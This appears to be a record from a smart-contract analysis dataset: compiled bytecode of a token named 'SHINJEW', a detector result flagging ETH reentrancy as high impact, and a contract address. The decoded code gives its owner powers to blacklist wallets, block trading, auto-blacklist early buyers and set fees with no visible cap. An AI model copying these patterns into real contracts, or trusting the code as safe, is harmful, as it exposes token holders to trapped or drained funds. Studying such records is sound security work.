0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600781526020017f5348494e4a455700000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600781526020017f5348494e4a455700000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f209d41835597437769e0daa33b0feba35242233f2d8ebf9686908c272cfda464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,404
0x4c54e5ee228b1c917980687a7e54876c340fed7f
